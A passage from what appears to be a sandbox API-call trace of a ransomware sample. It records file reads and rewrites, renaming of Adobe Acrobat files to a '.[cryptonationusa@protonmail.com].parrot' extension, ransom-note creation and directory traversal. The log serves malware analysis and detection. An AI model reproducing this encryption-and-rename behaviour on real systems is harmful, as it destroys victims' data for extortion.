lpNewFilePointer=0xffffffff) returned 1 [0045.635] ReadFile (in: hFile=0x318, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0045.821] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.826] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x9347, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18ebe4*=0x9347, lpOverlapped=0x0) returned 1 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0045.840] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x5fe980 [0045.840] GetLastError () returned 0x0 [0045.840] SetLastError (dwErrCode=0x0) [0045.840] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e7520 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0045.840] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0045.840] GetLastError () returned 0x0 [0045.840] SetLastError (dwErrCode=0x0) [0045.840] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0045.841] GetLastError () returned 0x0 [0045.841] SetLastError (dwErrCode=0x0) [0045.841] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4ca0 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5ffb98 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600ba0 [0045.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x2959e98 [0046.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600ba0 | out: hHeap=0x540000) returned 1 [0046.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x62c998 [0046.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2959e98 | out: hHeap=0x540000) returned 1 [0046.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6309d8 [0046.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62c998 | out: hHeap=0x540000) returned 1 [0046.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x2959e98 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6309d8 | out: hHeap=0x540000) returned 1 [0046.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x55bb88 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4ca0 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.241] GetLastError () returned 0x0 [0046.241] SetLastError (dwErrCode=0x0) [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ffb98 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e7520 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0046.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5ea660 [0046.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0046.242] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c58 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c88 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x5ea660 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x562910 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0046.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5785c8 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5785c8 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x5fe980 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x5ffec0 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x2969ed8 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ffec0 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x62c998 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2969ed8 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x6310e8 [0046.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62c998 | out: hHeap=0x540000) returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x2969ed8 [0046.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6310e8 | out: hHeap=0x540000) returned 1 [0046.244] WriteFile (in: hFile=0x318, lpBuffer=0x2969ee0*, nNumberOfBytesToWrite=0x9468, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2969ee0*, lpNumberOfBytesWritten=0x18ebe4*=0x9468, lpOverlapped=0x0) returned 1 [0046.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2969ed8 | out: hHeap=0x540000) returned 1 [0046.245] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x945f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0046.245] CloseHandle (hObject=0x318) returned 1 [0046.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5ea660 [0046.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x17e) returned 0x5bbfc0 [0046.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0046.246] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0046.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0046.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0046.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2959e98 | out: hHeap=0x540000) returned 1 [0046.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0046.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0046.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0046.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0046.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0046.248] GetFileType (hFile=0x318) returned 0x1 [0046.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5fe980 [0046.269] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0046.269] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xabb283a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xabb283a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.270] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda5adf20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xab5cd220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="48B764~1.PAR")) returned 1 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0046.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0046.271] lstrcmpW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x150) returned 0x5f38b0 [0046.271] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xabb283a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x9468, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="A9B821~1.PAR")) returned 1 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0046.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0046.271] lstrcmpW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x150) returned 0x5f3028 [0046.271] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab5cd220, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xab5cd220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xabb4e500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0046.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0046.271] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0046.271] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab5cd220, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xab5cd220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xabb4e500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0046.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 [0046.271] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0046.271] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0046.271] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0046.271] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1230 | out: hHeap=0x540000) returned 1 [0046.272] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0046.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0046.272] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xab4765c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab4765c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.272] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xab3b7ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDRES~1.PAR")) returned 1 [0046.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0046.272] lstrcmpW (lpString1="addressbook.acrodata.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0046.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x110) returned 0x5ea660 [0046.272] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xabb283a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xabb283a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0046.272] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab4765c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xab4765c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab5a70c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0046.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0046.272] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0046.272] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab4765c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xab4765c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab5a70c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0046.272] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0046.272] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0046.272] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0046.272] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0046.272] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0046.274] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0046.274] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0046.275] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, 